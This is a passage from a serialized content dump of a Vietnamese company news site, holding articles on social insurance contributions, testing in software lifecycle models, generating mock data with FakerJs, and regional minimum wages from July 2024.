Điều 10 Quyết định 595\u002FQĐ-BHXH, mức đóng BHXH tự nguyện hàng tháng của người tham gia là 22% mức thu nhập.",[11,15467,15468],{},"Trong đó, mức thu nhập do người tham gia tự lựa chọn, nhưng tối thiểu bằng mức chuẩn hộ nghèo của khu vực nông thôn (700.000 đồng\u002Fngười\u002Ftháng) và tối đa bằng 20 lần mức lương cơ sở (tương ứng 29,8 triệu đồng\u002Ftháng).",[11,15470,15471],{},[20,15472,15473],{},[1277,15474,55],{},[11,15476,15477,15478],{},"1. ",[58,15479,15482],{"href":15480,"rel":15481},"https:\u002F\u002Fthuvienphapluat.vn\u002Fvan-ban\u002FBao-hiem\u002FQuyet-dinh-595-QD-BHXH-Quy-trinh-thu-bao-hiem-cap-so-bao-hiem-the-bao-hiem-2017-348047.aspx",[62],"Quyết định số 595\u002FQĐ-BHXH",[11,15484,15485,15486],{},"2. ",[58,15487,15490],{"href":15488,"rel":15489},"https:\u002F\u002Fthuvienphapluat.vn\u002Fvan-ban\u002FBao-hiem\u002FThong-tu-59-2015-TT-BLDTBXH-huong-dan-Luat-bao-hiem-xa-hoi-ve-bao-hiem-xa-hoi-bat-buoc-299644.aspx",[62],"Thông tư 59\u002F2015\u002FTT-BLĐTBXH",{"title":66,"searchDepth":67,"depth":67,"links":15492},[],"2021-04-19",{},"\u002Fvi\u002Fnews\u002Fluong-dong-bao-hiem-xa-hoi-05-thong-tin-can-biet",{"title":15391,"description":15396},"vi\u002Fnews\u002Fluong-dong-bao-hiem-xa-hoi-05-thong-tin-can-biet","https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2021\u002F04\u002F14160239\u002FLuongDongBHXH.png","nP7tEsYMjTBU4nDN-9xoFnsKeoRKkO99w2zPJRxWS0c",{"id":15501,"title":15502,"body":15503,"category":1430,"created by":70,"date":15721,"description":15722,"extension":72,"meta":15723,"navigation":74,"path":15724,"sections":76,"seo":15725,"stem":15726,"thumbnail":15727,"__hash__":15728},"content_vi\u002Fvi\u002Fnews\u002Fmo-hinh-vong-doi-phat-trien-phan-mem.md","ĐẶC ĐIỂM KIỂM THỬ TRONG CÁC MÔ HÌNH PHÁT TRIỂN PHẦN MỀM",{"type":8,"value":15504,"toc":15714},[15505,15508,15514,15517,15520,15526,15529,15535,15538,15541,15544,15550,15553,15556,15559,15565,15568,15571,15583,15586,15592,15595,15598,15604,15607,15610,15636,15646,15649,15660,15663,15669,15672,15689,15692,15698,15701,15704,15708],[11,15506,15507],{},"Quá trình kiểm thử có những quy tắc chung giống nhau, nhưng cũng sẽ có những sự khác biệt tùy thuộc vào mô hình vòng đời phát triển phần mềm. Sau đây, chúng ta sẽ xem xét các đặc điểm của kiểm thử trong hai mô hình phát triển chính: \"Mô hình phát triển tuần tự\" và \"Mô hình phát triển lặp lại và tăng dần\".",[498,15509,15511],{"id":15510},"mô-hình-phát-triển-tuần-tự-sequential-development-model",[20,15512,15513],{},"Mô hình phát triển tuần tự (Sequential development model)",[11,15515,15516],{},"Mô hình phát triển tuần tự là một quá trình mà các hoạt động phát triển phần mềm được tiến hành theo thứ tự. Ví dụ, chỉ khi hoàn thành giai đoạn định nghĩa yêu cầu thì mới chuyển sang giai đoạn thiết kế tiếp theo. Thông thường, kiểm thử được bắt đầu sau khi hoàn tất việc lập trình, và thực hiện tuần tự từ kiểm thử đơn vị (unit test) đến kiểm thử tích hợp (integration test), tuy nhiên, các giai đoạn này có thể chồng chéo nhau. ",[11,15518,15519],{},"Ở đây, chúng ta sẽ xem xét mô hình Waterfall (thác nước) - mô hình cơ bản trong phát triển phần mềm, cùng với mô hình chữ V dựa trên Waterfall.",[1800,15521,15523],{"id":15522},"mô-hình-waterfall",[20,15524,15525],{},"Mô hình Waterfall",[11,15527,15528],{},"Mô hình Waterfall là mô hình phát triển phần mềm truyền thống và phổ biến nhất. Mặc dù có nhiều mô hình phát triển khác, nhưng hầu hết đều được cải tiến từ mô hình Waterfall. Trong mô hình này, các giai đoạn như định nghĩa yêu cầu, thiết kế, lập trình và kiểm thử được tiến hành theo thứ tự, hoàn thành mỗi giai đoạn xong thì mới chuyển sang giai đoạn tiếp theo. Tên gọi \"Waterfall\" (thác nước) biểu thị sự chảy từ trên xuống dưới của các giai đoạn, với định nghĩa yêu cầu và thiết kế ở giai đoạn \"thượng nguồn\" và kiểm thử ở giai đoạn \"hạ nguồn\".",[1800,15530,15532],{"id":15531},"mô-hình-chữ-v",[20,15533,15534],{},"Mô hình chữ V",[11,15536,15537],{},"Mô hình chữ V là một biến thể của mô hình Waterfall, trong đó các giai đoạn thượng nguồn và hạ nguồn được biểu diễn theo hình chữ \"V\". Trong kiểm thử, hệ thống được kiểm tra để xác nhận rằng nó hoạt động đúng theo yêu cầu và thiết kế được định nghĩa ở giai đoạn thượng nguồn. Do đó, giai đoạn thượng nguồn của mô hình chữ V được coi là \"quá trình xây dựng chất lượng\" và giai đoạn hạ nguồn (kiểm thử) là \"quá trình xác nhận chất lượng\".",[11,15539,15540],{},"Ưu điểm của mô hình chữ V nằm ở việc có thể làm rõ ràng các mức độ kiểm thử tương ứng với từng giai đoạn thượng nguồn. Ví dụ, trong mô hình chữ V, tài liệu thiết kế cơ bản được tạo ra ở giai đoạn thiết kế cơ bản sẽ được sử dụng làm cơ sở cho việc phân tích và thiết kế kiểm thử tích hợp.",[11,15542,15543],{},"Ngoài ra, các tài liệu sản phẩm đầu ra ở giai đoạn thượng nguồn sẽ được kiểm tra qua đánh giá để đảm bảo tính đúng đắn. Trong mỗi giai đoạn, các sản phẩm đầu ra được chi tiết hóa từ sản phẩm đầu ra của giai đoạn trước, qua đó kiểm tra tính nhất quán và nội dung mô tả nhằm nâng cao chất lượng. Đồng thời, cũng sẽ xác nhận tính phù hợp với yêu cầu của người dùng. Quá trình kiểm tra và xác nhận này gọi là \"V&V\" (Verification & Validation).",[1800,15545,15547],{"id":15546},"nhược-điểm-của-mô-hình-waterfall",[20,15548,15549],{},"Nhược điểm của mô hình Waterfall",[11,15551,15552],{},"Trong mô hình Waterfall, sau khi kết thúc mỗi giai đoạn, các sản phẩm đầu ra sẽ được kiểm tra để đảm bảo không có vấn đề trước khi chuyển sang giai đoạn tiếp theo. Theo nguyên tắc đó, mô hình này không cho phép quay lại. Tuy nhiên, vẫn sẽ có trường hợp phát hiện vấn đề bị bỏ sót ở giai đoạn trước trong các giai đoạn sau. Trong trường hợp này, cần phải quay lại giai đoạn trước để sửa các sản phẩm đầu ra và các sản phẩm liên quan, quá trình này gọi là \"lặp lại\".",[11,15554,15555],{},"Ví dụ, nếu phát hiện lỗi trong định nghĩa yêu cầu ở giai đoạn kiểm thử hệ thống, không chỉ phải sửa định nghĩa yêu cầu mà còn phải sửa thiết kế và code liên quan. Ngoài ra, cũng cần kiểm thử lại từ kiểm thử đơn vị (unit test) và kiểm thử tích hợp (integration test) phù hợp với các nội dung đã sửa.",[11,15557,15558],{},"Như vậy, mô hình Waterfall có nhược điểm là khó thích ứng với việc thay đổi yêu cầu. Đặc biệt, đối với các dự án mà yêu cầu chưa ổn định trong giai đoạn đầu phát triển và có nhiều thay đổi yêu cầu ở các giai đoạn sau, mô hình này được xem là không phù hợp.",[1800,15560,15562],{"id":15561},"mô-hình-chữ-w-và-shift-left",[20,15563,15564],{},"Mô hình chữ W và Shift Left",[11,15566,15567],{},"Mô hình chữ V có điểm cộng là làm rõ được sự tương ứng giữa các giai đoạn thượng nguồn và kiểm thử, nhưng lại có nhược điểm là kiểm thử có vẻ chỉ được thực hiện ở giai đoạn sau phát triển. Thực tế, một phần của kiểm thử thường cũng có thể được thực hiện ở giai đoạn thượng nguồn, nhưng mô hình này có thể dẫn đến nhiều hiểu lầm. Để làm rõ rằng hoạt động kiểm thử diễn ra song song với các giai đoạn thượng nguồn, mô hình chữ W đã được đề xuất. Trong mô hình này, việc lập kế hoạch và thiết kế kiểm thử diễn ra song song với các giai đoạn thượng nguồn, nhờ đó có thể cải thiện chất lượng sản phẩm đầu ra thông qua phản hồi từ hoạt động kiểm thử. Bằng cách thực hiện kiểm thử sớm, thời gian phát triển cũng có thể được rút ngắn lại. ",[11,15569,15570],{},"Ngoài ra, khi tích hợp điều tra mô hình chữ W, việc kiểm tra và thực thi mô hình ở giai đoạn thượng nguồn sẽ trở nên khả thi, giúp thực hiện kiểm thử ngay từ giai đoạn đầu như là một phần của phương pháp \"Shift Left\".",[498,15572,15574,56,15577,56,15580],{"id":15573},"mô-hình-phát-triển-lặp-lại-iterative-và-mô-hình-phát-triển-gia-tăng-incremental",[20,15575,15576],{},"Mô hình phát triển lặp",[20,15578,15579],{},"lại",[20,15581,15582],{},"(Iterative) và Mô hình phát triển gia tăng (Incremental)",[11,15584,15585],{},"Mô hình phát triển tuần tự nói trên có thể mất từ vài tháng đến vài năm để hoàn thành, gây ra vấn đề về thời gian hoàn thành dự án. Để giải quyết vấn đề này và cung cấp sản phẩm trong thời gian ngắn, mô hình phát triển lặp lại và mô hình phát triển gia tăng đã được ra đời. Mặc dù hai mô hình này khác nhau, chúng vẫn thường được kết hợp sử dụng trong thực tế.",[1800,15587,15589],{"id":15588},"mô-hình-phát-triển-gia-tăng-incremental-development-model",[20,15590,15591],{},"Mô hình phát triển gia tăng (Incremental Development Model)",[11,15593,15594],{},"Từ \"incremental\" có nghĩa là \"tăng dần\" hoặc \"theo từng bước\". Do đó, mô hình phát triển gia tăng là phương pháp phát triển mà các tính năng được bổ sung dần dần. Trong ngữ cảnh này, \"tăng dần\" ám chỉ các \"tính năng\" của phần mềm. Từ \"feature\" (tính năng) trong tiếng Anh có thể dịch là \"chức năng\" hoặc \"đặc trưng\". Trong khi từ \"function\" thường chỉ các chức năng cụ thể như gửi email hay ghi hình, \"feature\" chỉ các đặc trưng cụ thể như \"có thể đính kèm tập tin vào email\" hoặc \"gửi email cho nhiều người cùng lúc\".",[11,15596,15597],{},"Hệ thống phát triển sẽ được chia thành một số nhóm tính năng và tiến hành phát triển từ định nghĩa yêu cầu đến kiểm thử cho mỗi nhóm đó.",[1800,15599,15601],{"id":15600},"mô-hình-phát-triển-lặp-iterative-development-model",[20,15602,15603],{},"Mô hình phát triển lặp (Iterative Development Model)",[11,15605,15606],{},"\"Iterative\" có nghĩa là \"lặp đi lặp lại\". Trong khi mô hình phát triển tuần tự thực hiện từ giai đoạn xác định yêu cầu đến kiểm thử chỉ một lần, thì mô hình phát triển lặp lặp lại các bước như đặc tả, thiết kế, xây dựng và kiểm thử. Quy trình này được gọi là \"Iteration\" (chu kỳ lặp), và sau mỗi chu kỳ lặp, phần mềm có thể hoạt động được sẽ được tạo ra. Các mô hình phát triển này thường được sử dụng kết hợp.",[11,15608,15609],{},"Dưới đây là bốn mô hình phát triển lặp chính:",[31,15611,15612,15618,15624,15630],{},[34,15613,15614,15617],{},[20,15615,15616],{},"Rational Unified Process (RUP)",": Đây là phương pháp do IBM đề xuất, bao gồm toàn bộ vòng đời phát triển ứng dụng. Chu kỳ lặp thường kéo dài từ 2 đến 3 tháng.",[34,15619,15620,15623],{},[20,15621,15622],{},"Scrum",": Là một trong những phương pháp phát triển Agile, với mục tiêu để cả nhóm cùng hướng đến mục đích chung. Chu kỳ lặp kéo dài từ vài ngày đến vài tuần, được gọi là \"Sprint\".",[34,15625,15626,15629],{},[20,15627,15628],{},"Kanban",": Là phương pháp dựa trên hệ thống sản xuất của Toyota, giúp hiển thị và quản lý các công việc một cách hiệu quả. Chu kỳ lặp không bắt buộc phải có.",[34,15631,15632,15635],{},[20,15633,15634],{},"Spiral (Prototyping)",": Tạo ra các nguyên mẫu ở giai đoạn ban đầu và xác định yêu cầu dựa trên phản hồi nhận được. Đặc trưng của phương pháp này là dần dần bổ sung các tính năng.",[1800,15637,15639,56,15641,56,15643],{"id":15638},"mô-hình-phát-triển-lặp-lại-gia-tăng-và-shift-left",[20,15640,15576],{},[20,15642,15579],{},[20,15644,15645],{},"\u002F gia tăng và Shift Left",[11,15647,15648],{},"Khi sử dụng các mô hình phát triển này, phần mềm sẽ được chia thành các đơn vị nhỏ, và các đơn vị này sẽ được phát triển lặp đi lặp lại. Do kiểm thử được thực hiện trong mỗi chu kỳ lặp, thời điểm kiểm thử được đẩy sớm hơn (Shift Left). Trong thực tế, có những trường hợp như sau:",[31,15650,15651,15654,15657],{},[34,15652,15653],{},"Yêu cầu, thiết kế, code và kiểm thử được thực hiện đồng thời.",[34,15655,15656],{},"Kiểm thử đơn vị và kiểm thử tích hợp được thực hiện song song hoặc lặp lại.",[34,15658,15659],{},"Kiểm thử hệ thống và kiểm thử chấp nhận được thực hiện như một chu kỳ lặp độc lập.",[11,15661,15662],{},"Do kiểm thử được thực hiện lặp lại trong các chu kỳ lặp ngắn hạn, việc tự động hóa kiểm thử là cần thiết, và môi trường tích hợp liên tục và phân phối liên tục cũng cần được thiết lập. Sau khi kết thúc mỗi chu kỳ lặp, một số tính năng sẽ được tạo ra, nhưng thời điểm phát hành không nhất thiết phải cố định. Có thể phát hành khi đã có đủ các tính năng tối thiểu hoặc chờ đến khi tất cả các tính năng hoàn thiện. Tuy nhiên, khuyến khích thực hiện phát hành sớm và nhận phản hồi từ khách hàng.",[498,15664,15666],{"id":15665},"mô-hình-vòng-đời-phát-triển-phần-mềm-tùy-theo-tình-huống",[20,15667,15668],{},"Mô hình vòng đời phát triển phần mềm tùy theo tình huống",[11,15670,15671],{},"Trong phần trước, chúng ta đã giải thích về các mô hình phát triển tuần tự, lặp đi lặp lại và gia tăng. Vậy khi quyết định lựa chọn mô hình nào, cần phải xem xét những yếu tố sau:",[31,15673,15674,15677,15680,15683,15686],{},[34,15675,15676],{},"Mục tiêu của dự án",[34,15678,15679],{},"Loại sản phẩm cần phát triển",[34,15681,15682],{},"Ưu tiên trong kinh doanh (thời gian ra thị trường)",[34,15684,15685],{},"Rủi ro của sản phẩm đã được nhận diện",[34,15687,15688],{},"Rủi ro của dự án đã được nhận diện",[11,15690,15691],{},"Các hệ thống có mức độ rủi ro thấp (ví dụ: hệ thống quản lý trong công ty) và các hệ thống có mức độ rủi ro cao (ví dụ: hệ thống điều khiển phanh xe ô tô) sẽ có cách tiếp cận kiểm thử khác nhau. Khi áp dụng mô hình phát triển lặp đi lặp lại, việc giao tiếp hiệu quả giữa các thành viên trong nhóm rất quan trọng, nhưng văn hóa công ty và hình thức hợp đồng có thể cản trở điều này.",[498,15693,15695],{"id":15694},"kết-hợp-các-mô-hình-vòng-đời-phát-triển-phần-mềm",[20,15696,15697],{},"Kết hợp các mô hình vòng đời phát triển phần mềm",[11,15699,15700],{},"Trong mô hình phát triển gia tăng đã được giải thích trước đó, có thể sử dụng kết hợp cả hai mô hình trong một dự án. Ví dụ, trong phát triển ứng dụng di động, có thể sử dụng mô hình lặp đi lặp lại và gia tăng cho giao diện người dùng (UI) của phần mềm, để phát hành nhanh chóng, nhưng sẽ áp dụng mô hình tuần tự cho hệ thống backend quy mô lớn.",[11,15702,15703],{},"Ngoài ra, trong hệ thống IoT (Internet of Things – Mạng lưới vạn vật), các thiết bị và dịch vụ khác nhau sẽ được phát triển riêng biệt và mô hình phát triển sẽ được chọn tùy theo từng mục tiêu phát triển. Do đó, một số thiết bị có thể được nâng cấp phiên bản thường xuyên, trong khi các sản phẩm khác có thể không thay đổi trong thời gian dài. Điều này có thể gây ra các vấn đề về khả năng tương thích giữa các phiên bản khác nhau và cần chú ý đến sự tương thích khi vận hành, cập nhật và ngừng sử dụng trong các giai đoạn sau.",[11,15705,15706],{},[20,15707,3944],{},[11,15709,15710],{},[58,15711,15712],{"href":15712,"rel":15713},"https:\u002F\u002Fexam-site.briswell-vn.com\u002FstartTest\u002Fjstqb-4-vn",[62],{"title":66,"searchDepth":67,"depth":67,"links":15715},[15716,15717,15719,15720],{"id":15510,"depth":67,"text":15513},{"id":15573,"depth":67,"text":15718},"Mô hình phát triển lặp lại (Iterative) và Mô hình phát triển gia tăng (Incremental)",{"id":15665,"depth":67,"text":15668},{"id":15694,"depth":67,"text":15697},"2024-12-04","Quá trình kiểm thử có những quy tắc chung giống nhau, nhưng cũng sẽ có những sự khác biệt tùy thuộc vào mô hình vòng đời phát triển phần mềm. Sau đây, chúng ta sẽ xem xét các đặc điểm của kiểm thử trong hai mô hình phát triển chính: “Mô hình phát triển tuần tự” và “Mô hình phát triển lặp lại và tăng dần”",{},"\u002Fvi\u002Fnews\u002Fmo-hinh-vong-doi-phat-trien-phan-mem",{"title":15502,"description":15722},"vi\u002Fnews\u002Fmo-hinh-vong-doi-phat-trien-phan-mem","https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2024\u002F12\u002F02171801\u002FScreenshot-2024-12-02-171532.png","MnDepX9R-UtmlCOcqEBVlcdhMvB6RIbUV530hZHCkeA",{"id":15730,"title":15731,"body":15732,"category":1430,"created by":5903,"date":15925,"description":15926,"extension":72,"meta":15927,"navigation":74,"path":15928,"sections":76,"seo":15929,"stem":15930,"thumbnail":15931,"__hash__":15932},"content_vi\u002Fvi\u002Fnews\u002Fmockdata-fakerjs.md","Tạo mock data với FakerJs",{"type":8,"value":15733,"toc":15921},[15734,15740,15743,15750,15756,15767,15773,15776,15782,15785,15791,15794,15800,15803,15809,15812,15818,15821,15824,15830,15832,15838,15845,15851,15854,15860,15866,15870,15873,15879,15881,15887,15891,15894,15900,15905,15908,15910,15915],[490,15735,15737],{"id":15736},"fakerjs-là-gì",[20,15738,15739],{},"FakerJs là gì ?",[11,15741,15742],{},"Là một thư viện JavaScript giúp tạo các dữ liệu ngẫu nhiên theo từng loại dữ liệu khác nhau như email, số điện thoại , địa chỉ , password , image ..v..v..",[11,15744,15745,15746],{},"Demo: ",[58,15747,15748],{"href":15748,"rel":15749},"https:\u002F\u002Frawgit.com\u002FMarak\u002Ffaker.js\u002Fmaster\u002Fexamples\u002Fbrowser\u002Findex.html",[62],[490,15751,15753],{"id":15752},"khi-nào-nên-sử-dụng",[20,15754,15755],{},"Khi nào nên sử dụng ?",[31,15757,15758,15761,15764],{},[34,15759,15760],{},"Rất cần thiết khi làm việc với Front End. Chúng ta cần dữ liệu để xử lý trên giao diện khi dữ liệu thật từ API chưa hoàn thiện.",[34,15762,15763],{},"Tạo dữ liệu giả gửi về từ API khi các thành phần kết nối với database gặp vấn đề (database, service , host…)",[34,15765,15766],{},"Tạo dữ liệu mẫu json để kiểm thử API.",[490,15768,15770],{"id":15769},"cách-sử-dụng-trong-nodejs",[20,15771,15772],{},"Cách sử dụng trong NodeJs",[11,15774,15775],{},"Cài đặt qua npm",[696,15777,15780],{"className":15778,"code":15779,"language":701},[699],"npm i faker\n",[703,15781,15779],{"__ignoreMap":66},[11,15783,15784],{},"Import (TypeScript project):",[696,15786,15789],{"className":15787,"code":15788,"language":701},[699]," import faker = require(\"faker\")\n",[703,15790,15788],{"__ignoreMap":66},[11,15792,15793],{},"HOẶC JavaScript project:",[696,15795,15798],{"className":15796,"code":15797,"language":701},[699],"var faker = require(\"faker\");\n",[703,15799,15797],{"__ignoreMap":66},[11,15801,15802],{},"Ví dụ tạo 3 đối tượng Employee bằng FakerJs:",[696,15804,15807],{"className":15805,"code":15806,"language":701},[699],"const generateEmployee = () => {\n\n  return {\n\n    id: faker.random.uuid(),\n\n    first_name: faker.name.firstName(),\n\n    last_name: faker.name.lastName(),\n\n    email: faker.internet.email(),\n\n  };\n\n};\n\n\u002F\u002FReturn 3 object users\n\n=>> Array.from({ length: 3 }, generateEmployee)\n",[703,15808,15806],{"__ignoreMap":66},[11,15810,15811],{},"Kết quả :",[696,15813,15816],{"className":15814,"code":15815,"language":701},[699],"[\n  {\n    \"id\": \"653551ca-29dc-458d-90dd-1c7a04004350\",\n    \"first_name\": \"Yadira\",\n    \"last_name\": \"Zieme\",\n    \"email\": \"Russel_Will88@yahoo.com\"\n  },\n  {\n    \"id\": \"14243402-a6f9-4005-bc61-bb1d25f23183\",\n    \"first_name\": \"Nyah\",\n    \"last_name\": \"Hermiston\",\n    \"email\": \"Sigrid77@gmail.com\"\n  },\n  {\n    \"id\": \"60dbec10-2898-4571-8187-31072f849ed9\",\n    \"first_name\": \"Reed\",\n    \"last_name\": \"Towne\",\n    \"email\": \"Alejandrin.Simonis@hotmail.com\"\n  }\n]\n",[703,15817,15815],{"__ignoreMap":66},[11,15819,15820],{},"Hiện tại FakerJs đã hỗ trợ đa ngôn ngữ. Ví dụ:",[11,15822,15823],{},"Xác định locale trước khi tạo ra đối tượng employee:",[696,15825,15828],{"className":15826,"code":15827,"language":701},[699],"faker.locale = 'ja';\n",[703,15829,15827],{"__ignoreMap":66},[11,15831,853],{},[696,15833,15836],{"className":15834,"code":15835,"language":701},[699],"[ \n  { \n    \"id\": \"c0a9b596-ade2-4d9e-bddc-3a6e6ed43fcb\", \n    \"first_name\": \"結菜\", \n    \"last_name\": \"加藤\", \n    \"email\": \"海翔_井上@gmail.com\" \n  }, \n  { \n    \"id\": \"12381746-bb9e-479c-adf0-ba7887392a06\", \n    \"first_name\": \"杏\", \n    \"last_name\": \"渡辺\", \n    \"email\": \"結菜_清水11@gmail.com\" \n  }, \n  { \n    \"id\": \"264a8702-3318-43d1-9518-748046ff6ac5\", \n    \"first_name\": \"心愛\", \n    \"last_name\": \"清水\", \n    \"email\": \"結衣_山田57@gmail.com\" \n  } \n]\n",[703,15837,15835],{"__ignoreMap":66},[11,15839,15840,15841],{},"Các mẫu dữ liệu FakerJs hỗ trợ và ngôn ngữ hiện có tham khảo: ",[58,15842,15843],{"href":15843,"rel":15844},"http:\u002F\u002Fmarak.github.io\u002Ffaker.js\u002F",[62],[490,15846,15848],{"id":15847},"seed-trong-fakerjs",[20,15849,15850],{},"Seed trong FakerJs",[11,15852,15853],{},"FakerJs giúp chúng ta tạo dữ liệu ngẫu nhiên. Nhưng trong một số trường hợp ta cần dữ liệu tạo ra phải giống nhau ở các xử lý khác nhau. Seed giúp chúng ta giải quyết điều này:",[696,15855,15858],{"className":15856,"code":15857,"language":701},[699],"    faker.seed(1);\n\n    var number1st = faker.random.number(); \u002F\u002F name1st = 123\n\n    \u002F\u002F Setting the seed again resets the sequence.\n\n    faker.seed(1);\n\n    var number2nd = faker.random.number(); \u002F\u002F number2nd = 123\n\n    \u002F\u002F => number1st === number2nd\n",[703,15859,15857],{"__ignoreMap":66},[490,15861,15863],{"id":15862},"các-service-khác-của-fakerjs",[20,15864,15865],{},"Các service khác của FakerJs",[498,15867,15869],{"id":15868},"fakerjs-api","FakerJs API",[11,15871,15872],{},"API sẽ trả về một trường kiểu dữ liệu đơn tùy theo tham số khi request",[696,15874,15877],{"className":15875,"code":15876,"language":701},[699],"http:\u002F\u002Ffaker.hook.io\u002F?property=internet.email&locale=en\n",[703,15878,15876],{"__ignoreMap":66},[11,15880,15811],{},[696,15882,15885],{"className":15883,"code":15884,"language":701},[699]," \"Ted37@hotmail.com\"\n",[703,15886,15884],{"__ignoreMap":66},[498,15888,15890],{"id":15889},"faker-cloud","Faker Cloud",[11,15892,15893],{},"Tạo nhanh một hoặc nhiều dữ liệu giả, rất có ích cho việc khi ta cần nhiều data để test API , lệnh insert vào database hàng loạt v..v.. Hỗ trợ nhiều định dạng CSV , JSON , MySQL , MSSQL v...v.",[11,15895,15896],{},[58,15897,15898],{"href":15898,"rel":15899},"https:\u002F\u002Ffakercloud.com\u002F",[62],[490,15901,15902],{"id":7455},[20,15903,15904],{},"Kết luận:",[11,15906,15907],{},"Faker Js là một thư viện tiện ích và nhỏ gọn. Nó phù hợp cho cả back-end , front-end và đặc biệt FakerCloud khá phù hợp cho các tester. Nó đơn giản hóa nhiều việc gần như tốn thời gian để làm như insert hàng loạt records vào database, tạo list JSON để gửi lên API , hỗ trợ dữ liệu đa ngôn ngữ..v...v..",[11,15909,10911],{},[11,15911,15477,15912],{},[58,15913,15843],{"href":15843,"rel":15914,"title":15843},[62],[11,15916,15485,15917],{},[58,15918,15919],{"href":15919,"rel":15920,"title":15919},"https:\u002F\u002Fzetcode.com\u002Fjavascript\u002Ffakerjs\u002F",[62],{"title":66,"searchDepth":67,"depth":67,"links":15922},[15923,15924],{"id":15868,"depth":67,"text":15869},{"id":15889,"depth":67,"text":15890},"2021-05-05","FakerJs là gì ? Là một thư viện JavaScript giúp tạo các dữ liệu ngẫu nhiên theo từng loại dữ liệu khác nhau như email, số điện thoại , địa chỉ , password , image ..v..v..",{},"\u002Fvi\u002Fnews\u002Fmockdata-fakerjs",{"title":15731,"description":15926},"vi\u002Fnews\u002Fmockdata-fakerjs","https:\u002F\u002Fhomepage-media.s3.ap-southeast-1.amazonaws.com\u002Fwp-content\u002Fuploads\u002F2026\u002F06\u002F05103100\u002FFaker.png","EKMbh8_A76YhHzB_ZHfNwbZ4Kqr7mhrrMAsKXgyJJhM",{"id":15934,"title":15935,"body":15936,"category":69,"created by":9339,"date":16148,"description":16149,"extension":72,"meta":16150,"navigation":74,"path":16151,"sections":76,"seo":16152,"stem":16153,"thumbnail":16154,"__hash__":16155},"content_vi\u002Fvi\u002Fnews\u002Fmuc-luong-toi-thieu-vung-ap-dung-tu-01-07-2024.md","MỨC LƯƠNG TỐI THIỂU VÙNG ÁP DỤNG TỪ 01\u002F07\u002F2024",{"type":8,"value":15937,"toc":16146},[15938,15943,15952,15957,15974,15977,15980,15988,15991,15996,16002,16079,16084,16092,16097,16119,16123],[11,15939,15940],{},[20,15941,15942],{},"I. Thời điểm tăng lương tối thiểu vùng trong năm 2024",[11,15944,15945,15946,15951],{},"Theo ",[58,15947,15950],{"href":15948,"rel":15949},"https:\u002F\u002Fxaydungchinhsach.chinhphu.vn\u002Ftoan-van-du-thao-nghi-dinh-quy-dinh-muc-luong-toi-vung-119240322185014301.htm",[62],"Dự thảo Nghị định quy định mức lương tối thiểu vùng",", thời điểm áp dụng mức lương tối thiểu vùng mới là từ ngày 01\u002F07\u002F2024.",[11,15953,15954],{},[20,15955,15956],{},"II. Mức lương tối thiểu vùng thay đổi như thế nào?",[31,15958,15959,15962,15965],{},[34,15960,15961],{},"Bộ Lao động – Thương binh và Xã hội đang Dự thảo Nghị định quy định mức lương tối thiểu đối với người lao động làm việc theo hợp đồng lao động. Theo đó, Bộ đề xuất điều chỉnh mức lương tối thiểu tăng 6% so với mức hiện hành.",[34,15963,15964],{},"Ngày 12\u002F01\u002F2024, Hội đồng tiền lương quốc gia đã có báo cáo số 02\u002FBC-HĐTLQG gửi Chính phủ khuyến nghị điều chỉnh mức lương tối thiểu tăng bình quân 6%, áp dụng từ 01\u002F07\u002F2024.",[34,15966,15967,15968,15973],{},"Từ ngày 01\u002F07\u002F2024, chính sách tiền lương sẽ được triển khai cải cách tổng thể theo ",[58,15969,15972],{"href":15970,"rel":15971},"https:\u002F\u002Fthuvienphapluat.vn\u002Fvan-ban\u002FLao-dong-Tien-luong\u002FNghi-quyet-27-NQ-TW-2018-cai-cach-chinh-sach-tien-luong-doi-voi-can-bo-cong-chuc-vien-chuc-382336.aspx",[62],"Nghị quyết 27-NQ\u002FTW"," năm 2018 của Hội nghị lần thứ bảy Ban Chấp hành Trung ương khóa XII, tiền lương khu vực công sẽ tăng, theo đó, cần có sự điều chỉnh mức lương tối thiểu của khu vực doanh nghiệp để bảo đảm tương quan chung.",[11,15975,15976],{},"Sự thay đổi của lương tối thiểu vùng nhằm phản ánh tình hình kinh tế và mức sống hiện tại, đồng thời đảm bảo rằng người lao động có mức thu nhập cơ bản phù hợp với chi phí sinh hoạt.",[11,15978,15979],{},"Theo đó, mức lương tối thiểu vùng áp dụng trong năm 2024 sẽ có 2 giai đoạn:",[11,15981,15982,15983],{},"(1) Từ ngày 01\u002F01\u002F2024 đến 30\u002F06\u002F2024: Mức lương tối thiểu vùng áp dụng theo ",[58,15984,15987],{"href":15985,"rel":15986},"https:\u002F\u002Fthuvienphapluat.vn\u002Fvan-ban\u002FLao-dong-Tien-luong\u002FNghi-dinh-38-2022-ND-CP-muc-luong-toi-thieu-nguoi-lao-dong-lam-viec-theo-hop-dong-515984.aspx",[62],"Nghị định 38\u002F2022\u002FNĐ-CP.",[11,15989,15990],{},"(2) Từ ngày 01\u002F07\u002F2024 đến 31\u002F12\u002F2024: Áp dụng theo mức lương tối thiểu vùng mới (tăng 6% so với 6 tháng đầu năm 2024).",[11,15992,15993],{},[20,15994,15995],{},"III. Mức lương tối thiểu vùng từ ngày 01\u002F07\u002F2024",[11,15997,15945,15998,16001],{},[58,15999,15950],{"href":15948,"rel":16000},[62]," đối với người lao động làm việc theo hợp đồng lao động thì từ 01\u002F07\u002F2024 mức tăng lương tối thiểu vùng cụ thể như sau:",[371,16003,16004,16033],{},[374,16005,16006],{},[377,16007,16008,16013,16023],{},[380,16009,16010],{"align":12298},[20,16011,16012],{},"Vùng",[380,16014,16015,16018,16020],{"align":12298},[20,16016,16017],{},"Mức lương tối thiểu vùng theo tháng",[570,16019],{},[20,16021,16022],{},"Đơn vị: (đồng\u002Ftháng)",[380,16024,16025,16028,16030],{"align":12298},[20,16026,16027],{},"Mức lương tối thiểu vùng theo giờ",[570,16029],{},[20,16031,16032],{},"Đơn vị: (đồng\u002Fgiờ)",[396,16034,16035,16046,16057,16068],{},[377,16036,16037,16040,16043],{},[401,16038,16039],{"align":12298},"Vùng I",[401,16041,16042],{"align":12298},"4.960.000",[401,16044,16045],{"align":12298},"23.800",[377,16047,16048,16051,16054],{},[401,16049,16050],{"align":12298},"Vùng II",[401,16052,16053],{"align":12298},"4.410.000",[401,16055,16056],{"align":12298},"21.200",[377,16058,16059,16062,16065],{},[401,16060,16061],{"align":12298},"Vùng 